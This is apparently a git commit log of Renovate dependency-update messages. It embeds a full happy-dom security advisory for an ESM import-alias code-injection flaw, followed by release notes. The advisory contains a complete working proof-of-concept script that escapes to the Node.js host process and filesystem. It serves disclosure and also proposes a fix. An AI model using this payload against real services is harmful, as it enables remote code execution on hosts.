[#​731](https://redirect.github.com/apple/swift-collections/pull/731) #### New Contributors - [@​sorinc03](https://redirect.github.com/sorinc03) made their first contribution in [#​662](https://redirect.github.com/apple/swift-collections/pull/662) - [@​itej13](https://redirect.github.com/itej13) made their first contribution in [#​679](https://redirect.github.com/apple/swift-collections/pull/679) - [@​wjdtjq6](https://redirect.github.com/wjdtjq6) made their first contribution in [#​674](https://redirect.github.com/apple/swift-collections/pull/674) - [@​ZayanKhan-12](https://redirect.github.com/ZayanKhan-12) made their first contribution in [#​691](https://redirect.github.com/apple/swift-collections/pull/691) - [@​Hashim1999164](https://redirect.github.com/Hashim1999164) made their first contribution in [#​697](https://redirect.github.com/apple/swift-collections/pull/697) - [@​karpovantonme](https://redirect.github.com/karpovantonme) made their first contribution in [#​701](https://redirect.github.com/apple/swift-collections/pull/701) - [@​dylanpulver](https://redirect.github.com/dylanpulver) made their first contribution in [#​718](https://redirect.github.com/apple/swift-collections/pull/718) - [@​Joseph-Cursio](https://redirect.github.com/Joseph-Cursio) made their first contribution in [#​719](https://redirect.github.com/apple/swift-collections/pull/719) - [@​eliorpom-cmd](https://redirect.github.com/eliorpom-cmd) made their first contribution in [#​725](https://redirect.github.com/apple/swift-collections/pull/725) - [@​hxperl](https://redirect.github.com/hxperl) made their first contribution in [#​721](https://redirect.github.com/apple/swift-collections/pull/721) **Full Changelog**: <https://github.com/apple/swift-collections/compare/1.6.0...1.7.0> </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xODAuMCIsInVwZGF0ZWRJblZlciI6IjQ0LjE4MC4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
|
b2e56529ee | chore: improve ci (#15743) | ||
|
|
c4573551ce |
chore: bump up happy-dom version to v21 [SECURITY] (#15739)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [happy-dom](https://redirect.github.com/capricorn86/happy-dom) | [`^20.3.0` → `^21.0.0`](https://renovatebot.com/diffs/npm/happy-dom/20.8.9/21.0.4) |  |  | | [happy-dom](https://redirect.github.com/capricorn86/happy-dom) | [`^20.0.0` → `^21.0.0`](https://renovatebot.com/diffs/npm/happy-dom/20.8.9/21.0.4) |  |  | --- ### Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution [CVE-2026-115895](https://nvd.nist.gov/vuln/detail/CVE-2026-115895) / [GHSA-834v-8h66-3h79](https://redirect.github.com/advisories/GHSA-834v-8h66-3h79) <details> <summary>More information</summary> #### Details ##### Summary The ESM compiler in `happy-dom@20.14.5` does not validate imported local binding aliases before interpolating them into generated JavaScript. As a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed. This appears to be an alternate injection path and incomplete remediation of GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. The previous fix validates `importName` in the local `export { ... }` handler, but the named import handler still places an unvalidated `alias` directly into code context. These issues were confirmed through the public `Window` and `<script type="module">` APIs using the published `happy-dom` npm package. The PoC reaches the Node.js host `process`, obtains `node:fs`, and creates a proof directory on the host filesystem. ##### Confirmed affected versions The PoC was directly tested against: - `happy-dom@17.0.0` - `happy-dom@20.0.0` - `happy-dom@20.1.0` - `happy-dom@20.14.5` The same PoC does not trigger on `happy-dom@16.8.1`. The ESM compiler was introduced by commit `7bc831df2`, first released in `v17.0.0`. The vulnerable interpolation remains present through `v20.14.5`, the latest release at the time of testing. Suggested affected range: ```text >= 17.0.0, <= 20.14.5 ``` No patched version is currently available. ##### Preconditions - JavaScript evaluation is enabled with `enableJavaScriptEvaluation: true`. - Attacker-controlled HTML or module source is processed by Happy DOM. - This may affect SSR, preview, scraping, or testing services that evaluate externally supplied HTML. ##### Technical details In `packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts`, the named import handler splits an import specifier and extracts its alias: ```ts const nameParts = part.trim().split(/\s+as\s+/); const alias = (nameParts[1] || nameParts[0]).replace(/["']/g, ''); const name = nameParts[0].replace(/["']/g, ''); if (alias && name) { properties.push({ name, alias }); } ``` Unlike the patched `export { ... }` handler, the value of `alias` is not validated as a JavaScript identifier. It is subsequently inserted directly into generated binding syntax: ```ts newCodeStart += `let {${properties .map((property) => property.alias ? `"${property.name}": ${property.alias}` : property.name ) .join(', ')}} = $happy_dom.imports.get('${url}')${match[8]}`; ``` Consider the following source: ```js import { missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337 } from './dep.json' with { type: 'json' }; ``` This is invalid ECMAScript module syntax. Node.js rejects it at the `=` token. Happy DOM instead transforms it into the equivalent of: ```js let { "missing": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337 } = $happy_dom.imports.get('https://poc.local/dep.json'); ``` This generated JavaScript is valid. Because the imported JSON object does not contain a `missing` property, the default initializer executes. The `with { type: 'json' }` attribute is relevant because the compiler only generates its circular import resolver for ESM imports: ```ts if (!match[7] || match[7] === 'esm') { resolvableCircularImports.push({ url, properties }); } ``` Using a JSON module prevents the malicious alias from being emitted again in a later circular-import assignment, leaving the generated function syntactically valid. Backtick strings also survive the existing quote removal. This allows the injected initializer to reach Node.js host APIs: ```js globalThis.constructor.constructor(`return process`)() .getBuiltinModule(`node:fs`) .mkdirSync( globalThis.constructor.constructor(`return process`)().cwd() + `/HAPPY_DOM_RCE_PROOF` ) ``` ##### Proof of concept The following PoC uses only the public Happy DOM API and performs a harmless filesystem action by creating a directory named `HAPPY_DOM_RCE_PROOF`. ##### 1. Create `package.json` ```json { "name": "happy-dom-import-alias-rce-poc", "private": true, "type": "module", "dependencies": { "happy-dom": "20.14.5" } } ``` ##### 2. Create `dep.json` ```json {} ``` ##### 3. Create `payload.mjs` This file is used as a control to demonstrate that a native ECMAScript parser rejects the source: ```js import { missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337 } from './dep.json' with { type: 'json' }; ``` ##### 4. Create `poc.mjs` ```js import { Window } from 'happy-dom'; import { existsSync, rmSync } from 'node:fs'; import { resolve } from 'node:path'; const proofDirectory = resolve('HAPPY_DOM_RCE_PROOF'); rmSync(proofDirectory, { recursive: true, force: true }); const window = new Window({ url: 'https://poc.local/', settings: { enableJavaScriptEvaluation: true, suppressCodeGenerationFromStringsWarning: true, fetch: { virtualServers: [ { url: 'https://poc.local/', directory: process.cwd() } ] } } }); const script = window.document.createElement('script'); script.type = 'module'; script.textContent = ` import { missing as injected = globalThis.constructor.constructor(\`return process\`)() .getBuiltinModule(\`node:fs\`) .mkdirSync( globalThis.constructor.constructor(\`return process\`)().cwd() + \`/HAPPY_DOM_RCE_PROOF\` ) } from './dep.json' with { type: 'json' }; `; window.document.body.appendChild(script); await window.happyDOM.waitUntilComplete(); if (!existsSync(proofDirectory)) { console.error('[-] Exploit failed: proof directory was not created.'); console.error( window.happyDOM.virtualConsolePrinter.readAsString() ); process.exitCode = 1; } else { console.log(`[+] Host filesystem reached: ${proofDirectory}`); } await window.happyDOM.close(); ``` ##### 5. Run the control test ```console npm install node --check payload.mjs ``` Expected result: ```text SyntaxError: Unexpected token '=' ``` This confirms that the source is not valid ESM. ##### 6. Run the Happy DOM PoC ```console node poc.mjs ``` Expected result: ```text [+] Host filesystem reached: /path/to/HAPPY_DOM_RCE_PROOF ``` The existence of `HAPPY_DOM_RCE_PROOF` confirms that the expression injected through the import alias executed and reached the host filesystem. The PoC was also verified inside a `node:24-alpine` Docker container, where it created: ```text /poc/HAPPY_DOM_RCE_PROOF ``` ##### Impact An attacker who can supply module source to an application that evaluates JavaScript through Happy DOM can cause syntactically invalid import declarations to be transformed into executable JavaScript. This may bypass upstream syntax validation or application assumptions that malformed import clauses will be rejected. The demonstrated payload reaches Node.js `process` and built-in modules. It can therefore be adapted to read or modify files, access environment data, or execute operating-system commands with the privileges of the Happy DOM host process. ##### Relationship to CVE-2026-33943 CVE-2026-33943 covers expression injection through a local export declaration: ```js export { attacker_expression } ``` Its fix added identifier validation to the `importName` used by the `export { ... }` handler: ```ts if ( exportName && importName && VALID_VARIABLE_NAME_REGEXP.test(importName) ) { // ... } ``` This report uses a different parsing and code-generation path: ```js import { name as malicious_alias } from './module'; ``` The unvalidated value is the local import `alias`, and the injection occurs in a generated destructuring binding rather than the export assignment patched by CVE-2026-33943. The issue remains reproducible in versions released after the CVE-2026-33943 fix, including `20.14.5`. ##### Suggested fix Validate the imported local binding before placing it into code context. The existing `VALID_VARIABLE_NAME_REGEXP` can be reused: ```diff - if (alias && name) { + if (alias && name && VALID_VARIABLE_NAME_REGEXP.test(alias)) { ``` A regression test should compile and execute the malicious import declaration, then verify that the initializer was not evaluated. This change was tested locally. The focused `ECMAScriptModuleCompiler` test suite passes with 30 tests, and ESLint reports no errors. For additional hardening, generated property keys should use `JSON.stringify()` instead of manual quote interpolation. ##### Verification record - Testing date: 2026-09-17 - Duplicate check updated: 2026-09-20 - Platform: Windows 11 - Node.js: `24.14.1` - Latest tested package: `happy-dom@20.14.5` - Source tag: `v20.14.5` - Source commit: `0d4cdbe7442af49d16b49ddf1acf7cc9684ed318` - First confirmed affected version: `17.0.0` - Confirmed unaffected version: `16.8.1` - Docker environment: Node 24 Alpine - No matching public advisory, issue, pull request, commit, or release was found during the duplicate check. #### Severity - CVSS Score: 8.8 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` #### References - [https://github.com/capricorn86/happy-dom/security/advisories/GHSA-834v-8h66-3h79](https://redirect.github.com/capricorn86/happy-dom/security/advisories/GHSA-834v-8h66-3h79) - [https://github.com/capricorn86/happy-dom/pull/2537](https://redirect.github.com/capricorn86/happy-dom/pull/2537) - [https://github.com/capricorn86/happy-dom/commit/fd163520b74d9fa146be91f7b4e4f46d6cccbe13](https://redirect.github.com/capricorn86/happy-dom/commit/fd163520b74d9fa146be91f7b4e4f46d6cccbe13) - [https://github.com/capricorn86/happy-dom/releases/tag/v21.0.4](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v21.0.4) - [https://github.com/advisories/GHSA-834v-8h66-3h79](https://redirect.github.com/advisories/GHSA-834v-8h66-3h79) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-834v-8h66-3h79) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>capricorn86/happy-dom (happy-dom)</summary> ### [`v21.0.4`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v21.0.4) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v21.0.3...v21.0.4) ##### 👷♂️ Patch fixes - Fixed a code injection vulnerability in the ESM compiler - By **[@​capricorn86](https://redirect.github.com/capricorn86)** - Fixed cross-origin isolation so opaque-origin `data:` iframes cannot access their parent or top window - By **[@​capricorn86](https://redirect.github.com/capricorn86)** ### [`v21.0.3`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v21.0.3) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v21.0.2...v21.0.3) ##### 👷♂️ Patch fixes - Fixes security vulnerability where authorization header was forwarded when redirecting - By **[@​capricorn86](https://redirect.github.com/capricorn86)** ### [`v21.0.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v21.0.2) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v21.0.1...v21.0.2) ##### 👷♂️ Patch fixes - Fixes SSRF security vulnerability by doing a target-origin bypass in the proxy server in [@​happy-dom/server-renderer](https://redirect.github.com/capricorn86/happy-dom/wiki/Server-Renderer) - By **[@​capricorn86](https://redirect.github.com/capricorn86)** ### [`v21.0.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v21.0.1) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v21.0.0...v21.0.1) ##### 👷♂️ Patch fixes - Adds aliases `--css` and `--iframe` for enabling CSS and iframe loading to [@​happy-dom/server-renderer](https://redirect.github.com/capricorn86/happy-dom/wiki/Server-Renderer) - By **[@​capricorn86](https://redirect.github.com/capricorn86)** ### [`v21.0.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v21.0.0) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.6...v21.0.0) ##### 💣 Breaking Changes - Disables CSS and IFrame loading by default to prevent [server-side request forgery (SSRF)](https://en.wikipedia.org/wiki/Server-side_request_forgery) - By **[@​capricorn86](https://redirect.github.com/capricorn86)** - An attacker could embed `<iframe>` or `<link rel="stylesheet">` elements in untrusted HTML to make Happy DOM send HTTP requests from the server to attacker-chosen URLs, including internal services. This could allow access to otherwise unreachable endpoints or trigger unintended actions, depending on the application and its network access. - The settings property `disableCSSFileLoading` has been deprecated - Added the new settings properties [enableCSSFileLoading](https://redirect.github.com/capricorn86/happy-dom/wiki/IBrowserSettings#properties) and [enableIframePageLoading](https://redirect.github.com/capricorn86/happy-dom/wiki/IBrowserSettings#properties) - If you don't believe that you are at risk, you can keep the same behavior as in `<=v20.14.6` by sending in `{ enableCSSFileLoading: true, enableIframePageLoading: true }` as [broswer settings](https://redirect.github.com/capricorn86/happy-dom/wiki/IOptionalBrowserSettings) (e.g. `new Window({ settings })`); ### [`v20.14.6`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.6) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.5...v20.14.6) ##### 👷♂️ Patch fixes - Fixes cookie scope forgery vulnerability - By **[@​capricorn86](https://redirect.github.com/capricorn86)** ### [`v20.14.5`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.5) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.4...v20.14.5) ##### 👷♂️ Patch fixes - Preserve character references in comment data - By **[@​hampustagerud](https://redirect.github.com/hampustagerud)** in task [#​2409](https://redirect.github.com/capricorn86/happy-dom/issues/2409) ### [`v20.14.4`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.4) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.3...v20.14.4) ##### 👷♂️ Patch fixes - End comments at the first comment end tag when it overlaps a comment start tag - By **[@​hampustagerud](https://redirect.github.com/hampustagerud)** in task [#​2407](https://redirect.github.com/capricorn86/happy-dom/issues/2407) ### [`v20.14.3`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.3) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.2...v20.14.3) ##### 👷♂️ Patch fixes - Avoids cloning all properties in CSSPropertyManager.toString - By **[@​erictheswift](https://redirect.github.com/erictheswift)** in task [#​2363](https://redirect.github.com/capricorn86/happy-dom/issues/2363) ### [`v20.14.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.2) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.1...v20.14.2) ##### 👷♂️ Patch fixes - Fixes regression where not all CSS variables where resolved in `getComputedStyle()` - By **[@​klaesra](https://redirect.github.com/klaesra)** in task [#​2344](https://redirect.github.com/capricorn86/happy-dom/issues/2344) ### [`v20.14.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.1) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.0...v20.14.1) ##### 👷♂️ Patch fixes - Invalidate the computed style cache for the whole subtree - By **[@​matmannion](https://redirect.github.com/matmannion)** and **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2366](https://redirect.github.com/capricorn86/happy-dom/issues/2366) ### [`v20.14.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.0) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.13.2...v20.14.0) ##### 🎨 Features - Improves computed style cache - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2357](https://redirect.github.com/capricorn86/happy-dom/issues/2357) ### [`v20.13.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.13.2) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.13.1...v20.13.2) ##### 👷♂️ Patch fixes - Fix problem with getComputedStyle with :host and :host-context selectors - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2349](https://redirect.github.com/capricorn86/happy-dom/issues/2349) ### [`v20.13.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.13.1) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.13.0...v20.13.1) ##### 👷♂️ Patch fixes - GetComputedStyle should return inherited value when it is set to inherit - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2347](https://redirect.github.com/capricorn86/happy-dom/issues/2347) ### [`v20.13.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.13.0) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.12.2...v20.13.0) ##### 🎨 Features - Adds support for :host psuedo query selector - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2345](https://redirect.github.com/capricorn86/happy-dom/issues/2345) ### [`v20.12.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.12.2) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.12.1...v20.12.2) ##### 👷♂️ Patch fixes - Custom elements should be upgraded when connected to DOM - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2342](https://redirect.github.com/capricorn86/happy-dom/issues/2342) ### [`v20.12.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.12.1) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.12.0...v20.12.1) ##### 🎨 Features - Adds support for kebab-case properties on `CSSStyleDeclaration` - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2256](https://redirect.github.com/capricorn86/happy-dom/issues/2256) - Adds support for all Chromium CSS properties to `CSSStyleDeclaration` - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2256](https://redirect.github.com/capricorn86/happy-dom/issues/2256) - Downloads a list from the Chromium project when compiling ##### 👷♂️ Patch fixes - Fixes issue with parsing CSS fallback variables - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2256](https://redirect.github.com/capricorn86/happy-dom/issues/2256) ### [`v20.12.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.12.0) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.15...v20.12.0) ##### 🎨 Features - Adds support for `Animation`, `AnimationTimeline`, `DocumentTimeline` and `KeyframeEffect` - By **[@​capricorn86](https://redirect.github.com/capricorn86)** - Adds support for `Element.animate()` - By **[@​capricorn86](https://redirect.github.com/capricorn86)** ### [`v20.11.15`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.15) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.14...v20.11.15) ##### 👷♂️ Patch fixes - Fixes issue with upgrading custom element caused by previous release - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2331](https://redirect.github.com/capricorn86/happy-dom/issues/2331) ### [`v20.11.14`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.14) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.13...v20.11.14) ##### 👷♂️ Patch fixes - Change prototype of element to the custom element when upgraded to keep the reference - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2331](https://redirect.github.com/capricorn86/happy-dom/issues/2331) - The previous solution replaced the element with the custom element and copied it's properties, but this made any reference to the original element invalid ### [`v20.11.13`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.13) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.12...v20.11.13) ##### 👷♂️ Patch fixes - Copy event listeners when upgrading a custom element - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2329](https://redirect.github.com/capricorn86/happy-dom/issues/2329) ### [`v20.11.12`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.12) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.11...v20.11.12) ##### 👷♂️ Patch fixes - Add check for if the node is still a parent during disconnect - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2322](https://redirect.github.com/capricorn86/happy-dom/issues/2322) ### [`v20.11.11`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.11) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.10...v20.11.11) ##### 👷♂️ Patch fixes - Use proxy as parent node in Node.connectedToNode - By **[@​diegohaz](https://redirect.github.com/diegohaz)** in task [#​2253](https://redirect.github.com/capricorn86/happy-dom/issues/2253) ### [`v20.11.10`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.10) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.9...v20.11.10) ##### 👷♂️ Patch fixes - Return default validationMessage for built-in constraint violations - By **[@​mixelburg](https://redirect.github.com/mixelburg)** in task [#​2187](https://redirect.github.com/capricorn86/happy-dom/issues/2187) ### [`v20.11.9`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.9) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.8...v20.11.9) ##### 👷♂️ Patch fixes - Make sure that the element has been upgraded before invoking reaction callback in custom elements - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2317](https://redirect.github.com/capricorn86/happy-dom/issues/2317) ### [`v20.11.8`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.8) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.7...v20.11.8) ##### 👷♂️ Patch fixes - Values pushed or assigned to the `adoptedStyleSheet` array should be validated - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2315](https://redirect.github.com/capricorn86/happy-dom/issues/2315) ### [`v20.11.7`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.7) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.6...v20.11.7) ##### 👷♂️ Patch fixes - The properties `Document.adoptedStyleSheets` and `ShadowRoot.adoptedStyleSheets` should validate it's value - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2313](https://redirect.github.com/capricorn86/happy-dom/issues/2313) ### [`v20.11.6`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.6) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.5...v20.11.6) ##### 👷♂️ Patch fixes - Updates docs for the global-registrator package - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2300](https://redirect.github.com/capricorn86/happy-dom/issues/2300) ### [`v20.11.5`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.5) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.4...v20.11.5) ##### 👷♂️ Patch fixes - Allow explicit element types for querySelector (e.g. `querySelector<HTMLInputElement>(".my-input")`) - By **[@​cyphercodes](https://redirect.github.com/cyphercodes)** ### [`v20.11.4`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.4) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.3...v20.11.4) ##### 👷♂️ Patch fixes - Fixes the CORS check `fetch()` to match origins instead of host and protocol - By **[@​rexxars](https://redirect.github.com/rexxars)** in task [#​1490](https://redirect.github.com/capricorn86/happy-dom/issues/1490) ### [`v20.11.3`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.3) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.2...v20.11.3) ##### 👷♂️ Patch fixes - Make document.links return a live HTMLCollection - By **[@​bangseongbeom](https://redirect.github.com/bangseongbeom)** in task [#​2299](https://redirect.github.com/capricorn86/happy-dom/issues/2299) - Copy labels array to prevent mutation of cached querySelectorAll result - By **[@​mixelburg](https://redirect.github.com/mixelburg)** in task [#​2226](https://redirect.github.com/capricorn86/happy-dom/issues/2226) ### [`v20.11.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.2) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.1...v20.11.2) ##### 👷♂️ Patch fixes - MutationObserver callback being GC'd due to orphaned WeakRef - By **[@​mixelburg](https://redirect.github.com/mixelburg)** in task [#​2264](https://redirect.github.com/capricorn86/happy-dom/issues/2264) ### [`v20.11.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.1) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.0...v20.11.1) ##### 👷♂️ Patch fixes - Improve performance of query selectors by avoiding construction of DOMException when not needed - By **@​[@​cyfung1031](https://redirect.github.com/cyfung1031)** in task [#​2228](https://redirect.github.com/capricorn86/happy-dom/issues/2228) ### [`v20.11.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.0) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.6...v20.11.0) ##### 🎨 Features - Adds support for [CookieStore API](https://developer.mozilla.org/en-US/docs/Web/API/Cookie_Store_API) - By **[@​TrevorBurnham](https://redirect.github.com/TrevorBurnham)** in task [#​1864](https://redirect.github.com/capricorn86/happy-dom/issues/1864) - Adds support for [Element.checkVisibility()](https://developer.mozilla.org/en-US/docs/Web/API/Element/checkVisibility) - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​1506](https://redirect.github.com/capricorn86/happy-dom/issues/1506) ### [`v20.10.6`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.10.6) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.5...v20.10.6) ##### 👷♂️ Patch fixes - Await NodeJS internal ReadableStream promise during teardown - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2217](https://redirect.github.com/capricorn86/happy-dom/issues/2217) ### [`v20.10.5`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.10.5) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.4...v20.10.5) ##### 👷♂️ Patch fixes - Adds cache to query selector parser - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2142](https://redirect.github.com/capricorn86/happy-dom/issues/2142) - The selector parser degraded in performance in v20.6.3 to solve more complex selectors - Parsing is still a bit slower, but the cache will hopefully mitigate most of the problem ### [`v20.10.4`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.10.4) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.3...v20.10.4) ##### 👷♂️ Patch fixes - Coerce null qualifiedName to empty string in createDocument - By **[@​Firer](https://redirect.github.com/Firer)** in task [#​2206](https://redirect.github.com/capricorn86/happy-dom/issues/2206) ### [`v20.10.3`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.10.3) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.2...v20.10.3) ##### 👷♂️ Patch fixes - Fix "\~=" attribute selector matching hyphenated substrings in CSS selectors - By **[@​mixelburg](https://redirect.github.com/mixelburg)** in task [#​2194](https://redirect.github.com/capricorn86/happy-dom/issues/2194) ### [`v20.10.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.10.2) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.1...v20.10.2) ##### 👷♂️ Patch fixes - Updates external dependencies - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2163](https://redirect.github.com/capricorn86/happy-dom/issues/2163) ### [`v20.10.1`](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.0...v20.10.1) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.0...v20.10.1) ### [`v20.10.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.10.0) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.9.0...v20.10.0) ##### 🎨 Features - Adds support for setting a canvas adapter for handling the canvas rendering using the browser setting [canvasAdapter](https://redirect.github.com/capricorn86/happy-dom/wiki/IOptionalBrowserSettings) - By **[@​RAprogramm](https://redirect.github.com/RAprogramm)** and **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​241](https://redirect.github.com/capricorn86/happy-dom/issues/241) - Adds new package [@​happy-dom/node-canvas-adapter](https://redirect.github.com/capricorn86/happy-dom/tree/master/packages/%40happy-dom/node-canvas-adapter) - By **[@​RAprogramm](https://redirect.github.com/RAprogramm)** and **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​241](https://redirect.github.com/capricorn86/happy-dom/issues/241) - [@​happy-dom/node-canvas-adapter](https://redirect.github.com/capricorn86/happy-dom/tree/master/packages/%40happy-dom/node-canvas-adapter) is a pluggable canvas adapter for Happy DOM using [node-canvas](https://redirect.github.com/Automattic/node-canvas). - Adds support for loading image files when enabling the browser setting [enableImageFileLoading](https://redirect.github.com/capricorn86/happy-dom/wiki/IOptionalBrowserSettings) - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​241](https://redirect.github.com/capricorn86/happy-dom/issues/241) - Adds support for loading image data URLs - By 